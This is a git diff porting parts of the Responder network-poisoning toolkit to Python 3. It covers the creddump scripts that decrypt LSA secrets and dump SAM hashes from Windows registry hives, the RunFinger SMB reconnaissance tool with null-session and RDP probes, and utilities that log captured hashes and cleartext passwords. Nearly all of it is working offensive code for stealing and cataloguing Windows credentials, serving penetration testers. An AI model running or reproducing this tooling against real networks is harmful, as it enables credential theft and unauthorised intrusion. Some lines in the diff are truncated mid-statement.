AES -def get_lsa_key(secaddr, bootkey): +from framework.win32.rawreg import get_root, open_key, subkeys, unpack +from framework.addrspace import HiveFileAddressSpace +from framework.win32.hashdump import get_bootkey, str_to_key + + +def get_lsa_key(secaddr, bootkey, vista): root = get_root(secaddr) if not root: return None - enc_reg_key = open_key(root, ["Policy", "PolSecretEncryptionKey"]) + if vista: + enc_reg_key = open_key(root, ["Policy", "PolEKList"]) + else: + enc_reg_key = open_key(root, ["Policy", "PolSecretEncryptionKey"]) + if not enc_reg_key: - exit(1) return None enc_reg_value = enc_reg_key.ValueList.List[0] @@ -40,48 +47,73 @@ def get_lsa_key(secaddr, bootkey): return None obf_lsa_key = secaddr.read(enc_reg_value.Data.value, - enc_reg_value.DataLength.value) + enc_reg_value.DataLength.value) if not obf_lsa_key: return None - md5 = MD5.new() - md5.update(bootkey) - for i in range(1000): - md5.update(obf_lsa_key[60:76]) - rc4key = md5.digest() + if not vista: + md5 = MD5.new() + md5.update(bootkey) + for __ in range(1000): + md5.update(obf_lsa_key[60:76]) + rc4key = md5.digest() + rc4 = ARC4.new(rc4key) + lsa_key = rc4.decrypt(obf_lsa_key[12:60]) + lsa_key = lsa_key[0x10:0x20] + else: + lsa_key = decrypt_aes(obf_lsa_key, bootkey) + lsa_key = lsa_key[68:100] - rc4 = ARC4.new(rc4key) - lsa_key = rc4.decrypt(obf_lsa_key[12:60]) + return lsa_key - return lsa_key[0x10:0x20] def decrypt_secret(secret, key): """Python implementation of SystemFunction005. Decrypts a block of data with DES using given key. Note that key can be longer than 7 bytes.""" - decrypted_data = '' - j = 0 # key index - for i in range(0,len(secret),8): - enc_block = secret[i:i+8] - block_key = key[j:j+7] + decrypted_data = bytearray() + j = 0 # key index + for i in range(0, len(secret), 8): + enc_block = secret[i:i + 8] + block_key = key[j:j + 7] des_key = str_to_key(block_key) des = DES.new(des_key, DES.MODE_ECB) decrypted_data += des.decrypt(enc_block) - + j += 7 - if len(key[j:j+7]) < 7: - j = len(key[j:j+7]) + if len(key[j:j + 7]) < 7: + j = len(key[j:j + 7]) (dec_data_len,) = unpack(". +# pylint: disable=invalid-name,missing-docstring + """ @author: Brendan Dolan-Gavitt @license: GNU General Public License 2.0 or later @@ -27,28 +29,40 @@ from framework.win32.lsasecrets import get_file_secrets # Hex dump code from # http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/142812 -FILTER=''.join([(len(repr(chr(x)))==3) and chr(x) or '.' for x in range(256)]) +FILTER = ''.join(32 <= i < 127 and chr(i) or '.' for i in range(256)) + + +def showUsage(): + print("usage: %s " % sys.argv[0]) + print("\nExample (Windows Vista/7):") + print("%s /path/to/System32/config/SYSTEM /path/to/System32/config/SECURITY true" % sys.argv[0]) + print("\nExample (Windows XP):") + print("%s /path/to/System32/SYSTEM /path/to/System32/config/SECURITY false" % sys.argv[0]) + def dump(src, length=8): - N=0; result='' + N = 0 + result = '' while src: - s,src = src[:length],src[length:] - hexa = ' '.join(["%02X"%ord(x) for x in s]) - s = s.translate(FILTER) - result += "%04X %-*s %s\n" % (N, length*3, hexa, s) - N+=length + s, src = src[:length], src[length:] + hexa = ' '.join(["%02X" % x for x in s]) + s = ''.join(FILTER[b] for b in s) + result += "%04X %-*s %s\n" % (N, length * 3, hexa, s) + N += length return result -if len(sys.argv) < 3: - print "usage: %s Bootkey " % sys.argv[0] - sys.exit(1) -secrets = get_file_secrets(sys.argv[1].decode("hex"), sys.argv[2]) +if len(sys.argv) < 4 or sys.argv[3].lower() not in ["true", "false"]: + showUsage() + sys.exit(1) +else: + vista = sys.argv[3].lower() == "true" + +secrets = get_file_secrets(sys.argv[1], sys.argv[2], vista) if not secrets: - print "Unable to read LSA secrets. Perhaps you provided invalid hive files?" + print("Unable to read LSA secrets. Perhaps you provided invalid hive files?") sys.exit(1) for k in secrets: - print k - print dump(secrets[k], length=16) - + print(k.decode()) + print(dump(secrets[k], length=16)) diff --git a/tools/MultiRelay/creddump/pwdump.py b/tools/MultiRelay/creddump/pwdump.py index a753907..462df85 100755 --- a/tools/MultiRelay/creddump/pwdump.py +++ b/tools/MultiRelay/creddump/pwdump.py @@ -25,7 +25,7 @@ import sys from framework.win32.hashdump import dump_file_hashes if len(sys.argv) < 3: - print "usage: %s bootkey SAM_File" % sys.argv[0] + print("usage: %s " % sys.argv[0]) sys.exit(1) -dump_file_hashes(sys.argv[1].decode("hex"), sys.argv[2]) +dump_file_hashes(sys.argv[1], sys.argv[2]) diff --git a/tools/RunFinger.py b/tools/RunFinger.py index 0c5c02e..38f39d7 100755 --- a/tools/RunFinger.py +++ b/tools/RunFinger.py @@ -1,5 +1,5 @@ #!/usr/bin/env python -# This file is part of Responder, a network take-over set of tools +# This file is part of Responder, a network take-over set of tools # created and maintained by Laurent Gaffie. # email: laurent.gaffie@gmail.com # This program is free software: you can redistribute it and/or modify @@ -14,20 +14,18 @@ # # You should have received a copy of the GNU General Public License # along with this program. If not, see . -import re,sys,socket,struct +import re,sys,struct import datetime import multiprocessing from socket import * from odict import OrderedDict import optparse from RunFingerPackets import * - -__version__ = "0.8" +__version__ = "1.0" parser = optparse.OptionParser(usage='python %prog -i 10.10.10.224\nor:\npython %prog -i 10.10.10.0/24', version=__version__, prog=sys.argv[0]) parser.add_option('-i','--ip', action="store", help="Target IP address or class C", dest="TARGET", metavar="10.10.10.224", default=None) -parser.add_option('-a','--all', action="store_true", help="Performs all checks (including MS17-010)", dest="all", default=False) parser.add_option('-g','--grep', action="store_true", dest="grep_output", default=False, help="Output in grepable format") options, args = parser.parse_args() @@ -38,148 +36,146 @@ if options.TARGET is None: Timeout = 2 Host = options.TARGET -MS17010Check = options.all class Packet(): fields = OrderedDict([ ]) def __init__(self, **kw): self.fields = OrderedDict(self.__class__.fields) - for k,v in kw.items(): + for k,v in list(kw.items()): if callable(v): self.fields[k] = v(self.fields[k]) else: self.fields[k] = v def __str__(self): - return "".join(map(str, self.fields.values())) + return "".join(map(str, list(self.fields.values()))) + +#Python version +if (sys.version_info > (3, 0)): + PY2OR3 = "PY3" +else: + PY2OR3 = "PY2" + +def StructWithLenPython2or3(endian,data): + #Python2... + if PY2OR3 is "PY2": + return struct.pack(endian, data) + #Python3... + else: + return struct.pack(endian, data).decode('latin-1') + +def NetworkSendBufferPython2or3(data): + if PY2OR3 is "PY2": + return str(data) + else: + return bytes(str(data), 'latin-1') + +def NetworkRecvBufferPython2or3(data): + if PY2OR3 is "PY2": + return str(data) + else: + return str(data.decode('latin-1')) def longueur(payload): - length = struct.pack(">i", len(''.join(payload))) + length = StructWithLenPython2or3(">i", len(''.join(payload))) return length def GetBootTime(data): - Filetime = int(struct.unpack(' 255: - OsVersion, ClientVersion = tuple([e.replace('\x00','') for e in data[48+length:].split('\x00\x00\x00')[:2]]) + OsVersion, ClientVersion = tuple([e.replace("\x00", "") for e in data[47+length:].split('\x00\x00\x00')[:2]]) return OsVersion, ClientVersion if length <= 255: - OsVersion, ClientVersion = tuple([e.replace('\x00','') for e in data[47+length:].split('\x00\x00\x00')[:2]]) + OsVersion, ClientVersion = tuple([e.replace("\x00", "") for e in data[46+length:].split('\x00\x00\x00')[:2]]) return OsVersion, ClientVersion except: - return "Could not fingerprint Os version.", "Could not fingerprint LanManager Client version" + return "Could not fingerprint Os version.", "Could not fingerprint LanManager Client version" + def GetHostnameAndDomainName(data): try: - DomainJoined, Hostname = tuple([e.replace('\x00','') for e in data[81:].split('\x00\x00\x00')[:2]]) Time = GetBootTime(data[60:68]) + data = NetworkRecvBufferPython2or3(data) + DomainJoined, Hostname = tuple([e.replace("\x00", "") for e in data[81:].split('\x00\x00\x00')[:2]]) #If max length domain name, there won't be a \x00\x00\x00 delineator to split on if Hostname == '': - DomainJoined = data[81:110].replace('\x00','') - Hostname = data[113:].replace('\x00','') + DomainJoined = data[81:110].decode('latin-1') + Hostname = data[113:].decode('latin-1') return Hostname, DomainJoined, Time except: - return "Could not get Hostname.", "Could not get Domain joined" + return "Could not get Hostname.", "Could not get Domain joined" def DomainGrab(Host): s = socket(AF_INET, SOCK_STREAM) try: - s.settimeout(Timeout) - s.connect(Host) + s.settimeout(Timeout) + s.connect(Host) except: - pass + pass try: - h = SMBHeaderLanMan(cmd="\x72",mid="\x01\x00",flag1="\x00", flag2="\x00\x00") - n = SMBNegoDataLanMan() - packet0 = str(h)+str(n) - buffer0 = longueur(packet0)+packet0 - s.send(buffer0) - data = s.recv(2048) - s.close() - if data[8:10] == "\x72\x00": - return GetHostnameAndDomainName(data) + h = SMBHeaderLanMan(cmd="\x72",mid="\x01\x00",flag1="\x00", flag2="\x00\x00") + n = SMBNegoDataLanMan() + packet0 = str(h)+str(n) + buffer0 = longueur(packet0)+packet0 + s.send(NetworkSendBufferPython2or3(buffer0)) + data = s.recv(2048) + s.close() + if data[8:10] == b'\x72\x00': + return GetHostnameAndDomainName(data) except: - pass + pass def SmbFinger(Host): - s = socket(AF_INET, SOCK_STREAM) - try: - s.settimeout(Timeout) - s.connect(Host) - except: - pass - try: - h = SMBHeader(cmd="\x72",flag1="\x18",flag2="\x53\xc8") - n = SMBNego(Data = SMBNegoData()) - n.calculate() - packet0 = str(h)+str(n) - buffer0 = longueur(packet0)+packet0 - s.send(buffer0) - data = s.recv(2048) - signing = IsSigningEnabled(data) - if data[8:10] == "\x72\x00": - head = SMBHeader(cmd="\x73",flag1="\x18",flag2="\x17\xc8",uid="\x00\x00") - t = SMBSessionFingerData() - packet0 = str(head)+str(t) - buffer1 = longueur(packet0)+packet0 - s.send(buffer1) - data = s.recv(2048) - if data[8:10] == "\x73\x16": - OsVersion, ClientVersion = OsNameClientVersion(data) - return signing, OsVersion, ClientVersion - except: - pass - - -def check_ms17_010(host): s = socket(AF_INET, SOCK_STREAM) try: s.settimeout(Timeout) s.connect(Host) - h = SMBHeader(cmd="\x72",flag1="\x18", flag2="\x53\xc8") + except: + pass + try: + h = SMBHeader(cmd="\x72",flag1="\x18",flag2="\x53\xc8") n = SMBNego(Data = SMBNegoData()) n.calculate() packet0 = str(h)+str(n) buffer0 = longueur(packet0)+packet0 - s.send(buffer0) + s.send(NetworkSendBufferPython2or3(buffer0)) data = s.recv(2048) - if data[8:10] == "\x75\x00": - head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",uid=data[32:34],tid=data[28:30],mid="\xc0\x00") - t = SMBTransRAPData() - t.calculate() - packet1 = str(head)+str(t) - buffer1 = longueur(packet1)+packet1 - s.send(buffer1) + signing = IsSigningEnabled(data) + if data[8:10] == b'\x72\x00': + head = SMBHeader(cmd="\x73",flag1="\x18",flag2="\x17\xc8",uid="\x00\x00") + t = SMBSessionFingerData() + packet0 = str(head)+str(t) + buffer1 = longueur(packet0)+packet0 + s.send(NetworkSendBufferPython2or3(buffer1)) data = s.recv(2048) - if data[9:13] == "\x05\x02\x00\xc0": - return True - else: - return False - else: - return False - except Exception as err: - return False - + if data[8:10] == b'\x73\x16': + OsVersion, ClientVersion = OsNameClientVersion(NetworkRecvBufferPython2or3(data)) + return signing, OsVersion, ClientVersion + except: + pass def check_smb_null_session(host): s = socket(AF_INET, SOCK_STREAM) @@ -191,65 +187,86 @@ def check_smb_null_session(host): n.calculate() packet0 = str(h)+str(n) buffer0 = longueur(packet0)+packet0 - s.send(buffer0) + s.send(NetworkSendBufferPython2or3(buffer0)) data = s.recv(2048) - if data[8:10] == "\x75\x00": + if data[8:10] == b'\x72\x00': + h = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x17\xc8",mid="\x40\x00") + n = SMBSessionData() + n.calculate() + packet0 = str(h)+str(n) + buffer0 = longueur(packet0)+packet0 + s.send(NetworkSendBufferPython2or3(buffer0)) + data = s.recv(2048) + if data[8:10] == b'\x73\x16': + h = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x17\xc8",uid=data[32:34].decode('latin-1'),mid="\x80\x00") + n = SMBSession2() + n.calculate() + packet0 = str(h)+str(n) + buffer0 = longueur(packet0)+packet0 + s.send(NetworkSendBufferPython2or3(buffer0)) + data = s.recv(2048) + if data[8:10] == b'\x73\x00': + h = SMBHeader(cmd="\x75",flag1="\x18", flag2="\x07\xc8",uid=data[32:34].decode('latin-1'),mid="\xc0\x00") + n = SMBTreeConnectData() + n.calculate() + packet0 = str(h)+str(n) + buffer0 = longueur(packet0)+packet0 + s.send(NetworkSendBufferPython2or3(buffer0)) + data = s.recv(2048) + if data[8:10] == b'\x75\x00': return True else: return False except Exception: + pass return False ################## #run it def ShowResults(Host): try: - Hostname, DomainJoined, Time = DomainGrab(Host) - Signing, OsVer, LanManClient = SmbFinger(Host) - NullSess = check_smb_null_session(Host) - if MS17010Check: - Ms17010 = check_ms17_010(Host) - print "Retrieving information for %s..."%Host[0] - print "SMB signing:", Signing - print "Null Sessions Allowed:", NullSess - print "Vulnerable to MS17-010:", Ms17010 - print "Server Time:", Time[1] - print "OS version: '%s'\nLanman Client: '%s'"%(OsVer, LanManClient) - print "Machine Hostname: '%s'\nThis machine is part of the '%s' domain\n"%(Hostname, DomainJoined) - else: - print "Retrieving information for %s..."%Host[0] - print "SMB signing:", Signing - print "Null Sessions Allowed:", NullSess - print "Server Time:", Time[1] - print "OS version: '%s'\nLanman Client: '%s'"%(OsVer, LanManClient) - print "Machine Hostname: '%s'\nThis machine is part of the '%s' domain\n"%(Hostname, DomainJoined) + Hostname, DomainJoined, Time = DomainGrab((Host, 445)) + Signing, OsVer, LanManClient = SmbFinger((Host, 445)) + NullSess = check_smb_null_session((Host, 445)) + print(("Retrieving information for %s..."%(Host))) + print(("SMB signing: %s"%(Signing))) + print(("Null Sessions Allowed: %s"%(NullSess))) + print(("Server Time: %s"%(Time[1]))) + print(("OS version: '%s'\nLanman Client: '%s'"%(OsVer, LanManClient))) + print(("Machine Hostname: '%s'\nThis machine is part of the '%s' domain"%(Hostname, DomainJoined))) + print(("RDP port open: '%s'\n"%(IsRDPOn((Host,3389))))) except: - pass + pass def ShowSmallResults(Host): s = socket(AF_INET, SOCK_STREAM) try: - s.settimeout(Timeout) - s.connect(Host) + s.settimeout(Timeout) + s.connect((Host, 445)) except: - return False + return False try: - if MS17010Check: - Hostname, DomainJoined, Time = DomainGrab(Host) - Signing, OsVer, LanManClient = SmbFinger(Host) - NullSess = check_smb_null_session(Host) - Ms17010 = check_ms17_010(Host) - message_ms17010 = ", MS17-010: {}".format(Ms17010) - print("['{}', Os:'{}', Domain:'{}', Signing:'{}', Time:'{}', Null Session: {} {}".format(Host[0], OsVer, DomainJoined, Signing, Time[1],NullSess, message_ms17010)) - else: - Hostname, DomainJoined, Time = DomainGrab(Host) - Signing, OsVer, LanManClient = SmbFinger(Host) - NullSess = check_smb_null_session(Host) - print("['{}', Os:'{}', Domain:'{}', Signing:'{}', Time:'{}', Null Session: {}".format(Host[0], OsVer, DomainJoined, Signing, Time[1],NullSess)) + Hostname, DomainJoined, Time = DomainGrab((Host, 445)) + Signing, OsVer, LanManClient = SmbFinger((Host, 445)) + NullSess = check_smb_null_session((Host, 445)) + print(("['{}', Os:'{}', Domain:'{}', Signing:'{}', Time:'{}', Null Session: '{}', RDP:'{}']".format(Host, OsVer, DomainJoined, Signing, Time[1],NullSess,IsRDPOn((Host,3389))))) except Exception as err: pass +def IsRDPOn(Host): + s = socket(AF_INET, SOCK_STREAM) + try: + s.settimeout(Timeout) + s.connect(Host) + if s: + return True + else: + return False + + except Exception as err: + return False + def RunFinger(Host): m = re.search("/", str(Host)) if m: @@ -262,13 +279,13 @@ def RunFinger(Host): else: func = ShowResults for host in (dtoa(net+n) for n in range(0, 1<<32-mask)): - p = multiprocessing.Process(target=func, args=((host,445),)) + p = multiprocessing.Process(target=func, args=((host),)) threads.append(p) p.start() else: if options.grep_output: - ShowSmallResults((Host,445)) + ShowSmallResults(Host) else: - ShowResults((Host,445)) + ShowResults(Host) RunFinger(Host) diff --git a/tools/RunFingerPackets.py b/tools/RunFingerPackets.py index 96adb48..e5ce645 100644 --- a/tools/RunFingerPackets.py +++ b/tools/RunFingerPackets.py @@ -1,24 +1,33 @@ -import random, struct +import random, struct, sys from socket import * from time import sleep from odict import OrderedDict -def longueur(payload): - length = struct.pack(">i", len(''.join(payload))) - return length +#Python version +if (sys.version_info > (3, 0)): + PY2OR3 = "PY3" +else: + PY2OR3 = "PY2" +def StructWithLenPython2or3(endian,data): + #Python2... + if PY2OR3 is "PY2": + return struct.pack(endian, data) + #Python3... + else: + return struct.pack(endian, data).decode('latin-1') class Packet(): fields = OrderedDict([ ]) def __init__(self, **kw): self.fields = OrderedDict(self.__class__.fields) - for k,v in kw.items(): + for k,v in list(kw.items()): if callable(v): self.fields[k] = v(self.fields[k]) else: self.fields[k] = v def __str__(self): - return "".join(map(str, self.fields.values())) + return "".join(map(str, list(self.fields.values()))) class SMBHeader(Packet): fields = OrderedDict([ @@ -42,9 +51,9 @@ class SMBNego(Packet): ("Bcc", "\x62\x00"), ("Data", "") ]) - + def calculate(self): - self.fields["Bcc"] = struct.pack(". -from UserDict import DictMixin +import sys +try: + from UserDict import DictMixin +except ImportError: + from collections import UserDict + from collections import MutableMapping as DictMixin class OrderedDict(dict, DictMixin): @@ -64,9 +53,9 @@ class OrderedDict(dict, DictMixin): if not self: raise KeyError('dictionary is empty') if last: - key = reversed(self).next() + key = next(reversed(self)) else: - key = iter(self).next() + key = next(iter(self)) value = self.pop(key) return key, value @@ -77,25 +66,35 @@ class OrderedDict(dict, DictMixin): inst_dict = vars(self).copy() self.__map, self.__end = tmp if inst_dict: - return self.__class__, (items,), inst_dict + return (self.__class__, (items,), inst_dict) return self.__class__, (items,) def keys(self): return list(self) - setdefault = DictMixin.setdefault - update = DictMixin.update - pop = DictMixin.pop - values = DictMixin.values - items = DictMixin.items - iterkeys = DictMixin.iterkeys - itervalues = DictMixin.itervalues - iteritems = DictMixin.iteritems + if sys.version_info >= (3, 0): + setdefault = DictMixin.setdefault + update = DictMixin.update + pop = DictMixin.pop + values = DictMixin.values + items = DictMixin.items + iterkeys = DictMixin.keys + itervalues = DictMixin.values + iteritems = DictMixin.items + else: + setdefault = DictMixin.setdefault + update = DictMixin.update + pop = DictMixin.pop + values = DictMixin.values + items = DictMixin.items + iterkeys = DictMixin.iterkeys + itervalues = DictMixin.itervalues + iteritems = DictMixin.iteritems def __repr__(self): if not self: return '%s()' % (self.__class__.__name__,) - return '%s(%r)' % (self.__class__.__name__, self.items()) + return '%s(%r)' % (self.__class__.__name__, list(self.items())) def copy(self): return self.__class__(self) @@ -110,8 +109,13 @@ class OrderedDict(dict, DictMixin): def __eq__(self, other): if isinstance(other, OrderedDict): return len(self)==len(other) and \ - min(p==q for p, q in zip(self.items(), other.items())) + min(p==q for p, q in zip(list(self.items()), list(other.items()))) return dict.__eq__(self, other) def __ne__(self, other): return not self == other + + +if __name__ == '__main__': + d = OrderedDict([('foo',2),('bar',3),('baz',4),('zot',5),('arrgh',6)]) + assert [x for x in d] == ['foo', 'bar', 'baz', 'zot', 'arrgh'] diff --git a/utils.py b/utils.py index 0808b40..6b91b86 100644 --- a/utils.py +++ b/utils.py @@ -22,25 +22,38 @@ import socket import time import settings import datetime +import codecs +import struct def RandomChallenge(): - if settings.Config.NumChal == "random": - from random import getrandbits - NumChal = '%016x' % getrandbits(16 * 4) - Challenge = '' - for i in range(0, len(NumChal),2): - Challenge += NumChal[i:i+2].decode("hex") - return Challenge - else: - return settings.Config.Challenge + if settings.Config.PY2OR3 is "PY3": + if settings.Config.NumChal == "random": + from random import getrandbits + NumChal = b'%016x' % getrandbits(16 * 4) + Challenge = b'' + for i in range(0, len(NumChal),2): + Challenge += NumChal[i:i+2] + return codecs.decode(Challenge, 'hex') + else: + return settings.Config.Challenge + else: + if settings.Config.NumChal == "random": + from random import getrandbits + NumChal = '%016x' % getrandbits(16 * 4) + Challenge = '' + for i in range(0, len(NumChal),2): + Challenge += NumChal[i:i+2].decode("hex") + return Challenge + else: + return settings.Config.Challenge def HTTPCurrentDate(): - Date = datetime.datetime.utcnow().strftime('%a, %d %b %Y %H:%M:%S GMT') - return Date + Date = datetime.datetime.utcnow().strftime('%a, %d %b %Y %H:%M:%S GMT') + return Date try: import sqlite3 except: - print "[!] Please install python-sqlite3 extension." + print("[!] Please install python-sqlite3 extension.") sys.exit(0) def color(txt, code = 1, modifier = 0): @@ -54,8 +67,8 @@ def color(txt, code = 1, modifier = 0): return "\033[%d;3%dm%s\033[0m" % (modifier, code, txt) def text(txt): - stripcolors = re.sub(r'\x1b\[([0-9,A-Z]{1,2}(;[0-9]{1,2})?(;[0-9]{3})?)?[m|K]?', '', txt) - logging.info(stripcolors) + stripcolors = re.sub(r'\x1b\[([0-9,A-Z]{1,2}(;[0-9]{1,2})?(;[0-9]{3})?)?[m|K]?', '', txt) + logging.info(stripcolors) if os.name == 'nt': return txt return '\r' + re.sub(r'\[([^]]*)\]', "\033[1;34m[\\1]\033[0m", txt) @@ -73,7 +86,7 @@ def RespondToThisIP(ClientIp): if ClientIp.startswith('127.0.0.'): return False elif settings.Config.AutoIgnore and ClientIp in settings.Config.AutoIgnoreList: - print color('[*]', 3, 1), 'Received request from auto-ignored client %s, not answering.' % ClientIp + print(color('[*]', 3, 1), 'Received request from auto-ignored client %s, not answering.' % ClientIp) return False elif settings.Config.RespondTo and ClientIp not in settings.Config.RespondTo: return False @@ -94,10 +107,16 @@ def RespondToThisHost(ClientIp, Name): return RespondToThisIP(ClientIp) and RespondToThisName(Name) def RespondWithIPAton(): - if settings.Config.ExternalIP: - return settings.Config.ExternalIPAton - else: - return settings.Config.IP_aton + if settings.Config.PY2OR3 is "PY2": + if settings.Config.ExternalIP: + return settings.Config.ExternalIPAton + else: + return settings.Config.IP_aton + else: + if settings.Config.ExternalIP: + return settings.Config.ExternalIPAton.decode('latin-1') + else: + return settings.Config.IP_aton.decode('latin-1') def OsInterfaceIsSupported(): if settings.Config.Interface != "Not set": @@ -123,7 +142,7 @@ def FindLocalIP(Iface, OURIP): return ret return OURIP except socket.error: - print color("[!] Error: %s: Interface not found" % Iface, 1) + print(color("[!] Error: %s: Interface not found" % Iface, 1)) sys.exit(-1) # Function used to write captured hashs to a file. @@ -146,6 +165,34 @@ def DumpConfig(outfile, data): with open(outfile,"a") as dump: dump.write(data + '\n') +def StructPython2or3(endian,data): + #Python2... + if settings.Config.PY2OR3 is "PY2": + return struct.pack(endian, len(data)) + #Python3... + else: + return struct.pack(endian, len(data)).decode('latin-1') + +def StructWithLenPython2or3(endian,data): + #Python2... + if settings.Config.PY2OR3 is "PY2": + return struct.pack(endian, data) + #Python3... + else: + return struct.pack(endian, data).decode('latin-1') + +def NetworkSendBufferPython2or3(data): + if settings.Config.PY2OR3 is "PY2": + return str(data) + else: + return bytes(str(data), 'latin-1') + +def NetworkRecvBufferPython2or3(data): + if settings.Config.PY2OR3 is "PY2": + return str(data) + else: + return str(data.decode('latin-1')) + def CreateResponderDb(): if not os.path.exists(settings.Config.DatabaseFile): cursor = sqlite3.connect(settings.Config.DatabaseFile) @@ -162,7 +209,7 @@ def SaveToDb(result): result[k] = '' if len(result['user']) < 2: - print color('[*] Skipping one character username: %s' % result['user'], 3, 1) + print(color('[*] Skipping one character username: %s' % result['user'], 3, 1)) text("[*] Skipping one character username: %s" % result['user']) return @@ -184,48 +231,48 @@ def SaveToDb(result): if len(result['cleartext']): # If we obtained cleartext credentials, write them to file outf.write('%s:%s\n' % (result['user'].encode('utf8', 'replace'), result['cleartext'].encode('utf8', 'replace'))) else: # Otherwise, write JtR-style hash string to file - outf.write(result['fullhash'].encode('utf8', 'replace') + '\n') + outf.write(result['fullhash'] + '\n')#.encode('utf8', 'replace') + '\n') cursor.execute("INSERT INTO responder VALUES(datetime('now'), ?, ?, ?, ?, ?, ?, ?, ?)", (result['module'], result['type'], result['client'], result['hostname'], result['user'], result['cleartext'], result['hash'], result['fullhash'])) cursor.commit() - if settings.Config.CaptureMultipleHashFromSameHost: + if settings.Config.CaptureMultipleHashFromSameHost: with open(logfile,"a") as outf: if len(result['cleartext']): # If we obtained cleartext credentials, write them to file outf.write('%s:%s\n' % (result['user'].encode('utf8', 'replace'), result['cleartext'].encode('utf8', 'replace'))) else: # Otherwise, write JtR-style hash string to file - outf.write(result['fullhash'].encode('utf8', 'replace') + '\n') + outf.write(result['fullhash'] + '\n')#.encode('utf8', 'replace') + '\n') if not count or settings.Config.Verbose: # Print output if len(result['client']): - print text("[%s] %s Client : %s" % (result['module'], result['type'], color(result['client'], 3))) + print(text("[%s] %s Client : %s" % (result['module'], result['type'], color(result['client'], 3)))) if len(result['hostname']): - print text("[%s] %s Hostname : %s" % (result['module'], result['type'], color(result['hostname'], 3))) + print(text("[%s] %s Hostname : %s" % (result['module'], result['type'], color(result['hostname'], 3)))) if len(result['user']): - print text("[%s] %s Username : %s" % (result['module'], result['type'], color(result['user'], 3))) + print(text("[%s] %s Username : %s" % (result['module'], result['type'], color(result['user'], 3)))) # Bu order of priority, print cleartext, fullhash, or hash if len(result['cleartext']): - print text("[%s] %s Password : %s" % (result['module'], result['type'], color(result['cleartext'], 3))) + print(text("[%s] %s Password : %s" % (result['module'], result['type'], color(result['cleartext'], 3)))) elif len(result['fullhash']): - print text("[%s] %s Hash : %s" % (result['module'], result['type'], color(result['fullhash'], 3))) + print(text("[%s] %s Hash : %s" % (result['module'], result['type'], color(result['fullhash'], 3)))) elif len(result['hash']): - print text("[%s] %s Hash : %s" % (result['module'], result['type'], color(result['hash'], 3))) + print(text("[%s] %s Hash : %s" % (result['module'], result['type'], color(result['hash'], 3)))) # Appending auto-ignore list if required # Except if this is a machine account's hash if settings.Config.AutoIgnore and not result['user'].endswith('$'): settings.Config.AutoIgnoreList.append(result['client']) - print color('[*] Adding client %s to auto-ignore list' % result['client'], 4, 1) + print(color('[*] Adding client %s to auto-ignore list' % result['client'], 4, 1)) elif len(result['cleartext']): - print color('[*] Skipping previously captured cleartext password for %s' % result['user'], 3, 1) + print(color('[*] Skipping previously captured cleartext password for %s' % result['user'], 3, 1)) text('[*] Skipping previously captured cleartext password for %s' % result['user']) else: - print color('[*] Skipping previously captured hash for %s' % result['user'], 3, 1) + print(color('[*] Skipping previously captured hash for %s' % result['user'], 3, 1)) text('[*] Skipping previously captured hash for %s' % result['user']) cursor.execute("UPDATE responder SET timestamp=datetime('now') WHERE user=? AND client=?", (result['user'], result['client'])) cursor.commit() @@ -250,11 +297,11 @@ def SavePoisonersToDb(result): def Parse_IPV6_Addr(data): - if data[len(data)-4:len(data)][1] =="\x1c": + if data[len(data)-4:len(data)][1] ==b'\x1c': return False - elif data[len(data)-4:len(data)] == "\x00\x01\x00\x01": + elif data[len(data)-4:len(data)] == b'\x00\x01\x00\x01': return True - elif data[len(data)-4:len(data)] == "\x00\xff\x00\x01": + elif data[len(data)-4:len(data)] == b'\x00\xff\x00\x01': return True return False @@ -269,7 +316,7 @@ def Decode_Name(nbname): #From http://code.google.com/p/dpkt/ with author's per for i in range(0, 32, 2): l.append(chr(((ord(nbname[i]) - 0x41) << 4) | ((ord(nbname[i+1]) - 0x41) & 0xf))) - return filter(lambda x: x in printable, ''.join(l).split('\x00', 1)[0].replace(' ', '')) + return ''.join(list(filter(lambda x: x in printable, ''.join(l).split('\x00', 1)[0].replace(' ', '')))) except: return "Illegal NetBIOS name" @@ -295,72 +342,73 @@ def banner(): ' |__|' ]) - print banner - print "\n \033[1;33mNBT-NS, LLMNR & MDNS %s\033[0m" % settings.__version__ - print "" - print " Author: Laurent Gaffie (laurent.gaffie@gmail.com)" - print " To kill this script hit CTRL-C" - print "" + print(banner) + print("\n \033[1;33mNBT-NS, LLMNR & MDNS %s\033[0m" % settings.__version__) + print('') + print(" Author: Laurent Gaffie (laurent.gaffie@gmail.com)") + print(" To kill this script hit CTRL-C") + print('') def StartupMessage(): enabled = color('[ON]', 2, 1) disabled = color('[OFF]', 1, 1) - print "" - print color("[+] ", 2, 1) + "Poisoners:" - print ' %-27s' % "LLMNR" + enabled - print ' %-27s' % "NBT-NS" + enabled - print ' %-27s' % "DNS/MDNS" + enabled - print "" + print('') + print(color("[+] ", 2, 1) + "Poisoners:") + print(' %-27s' % "LLMNR" + enabled) + print(' %-27s' % "NBT-NS" + enabled) + print(' %-27s' % "DNS/MDNS" + enabled) + print('') - print color("[+] ", 2, 1) + "Servers:" - print ' %-27s' % "HTTP server" + (enabled if settings.Config.HTTP_On_Off else disabled) - print ' %-27s' % "HTTPS server" + (enabled if settings.Config.SSL_On_Off else disabled) - print ' %-27s' % "WPAD proxy" + (enabled if settings.Config.WPAD_On_Off else disabled) - print ' %-27s' % "Auth proxy" + (enabled if settings.Config.ProxyAuth_On_Off else disabled) - print ' %-27s' % "SMB server" + (enabled if settings.Config.SMB_On_Off else disabled) - print ' %-27s' % "Kerberos server" + (enabled if settings.Config.Krb_On_Off else disabled) - print ' %-27s' % "SQL server" + (enabled if settings.Config.SQL_On_Off else disabled) - print ' %-27s' % "FTP server" + (enabled if settings.Config.FTP_On_Off else disabled) - print ' %-27s' % "IMAP server" + (enabled if settings.Config.IMAP_On_Off else disabled) - print ' %-27s' % "POP3 server" + (enabled if settings.Config.POP_On_Off else disabled) - print ' %-27s' % "SMTP server" + (enabled if settings.Config.SMTP_On_Off else disabled) - print ' %-27s' % "DNS server" + (enabled if settings.Config.DNS_On_Off else disabled) - print ' %-27s' % "LDAP server" + (enabled if settings.Config.LDAP_On_Off else disabled) - print ' %-27s' % "RDP server" + (enabled if settings.Config.RDP_On_Off else disabled) - print "" + print(color("[+] ", 2, 1) + "Servers:") + print(' %-27s' % "HTTP server" + (enabled if settings.Config.HTTP_On_Off else disabled)) + print(' %-27s' % "HTTPS server" + (enabled if settings.Config.SSL_On_Off else disabled)) + print(' %-27s' % 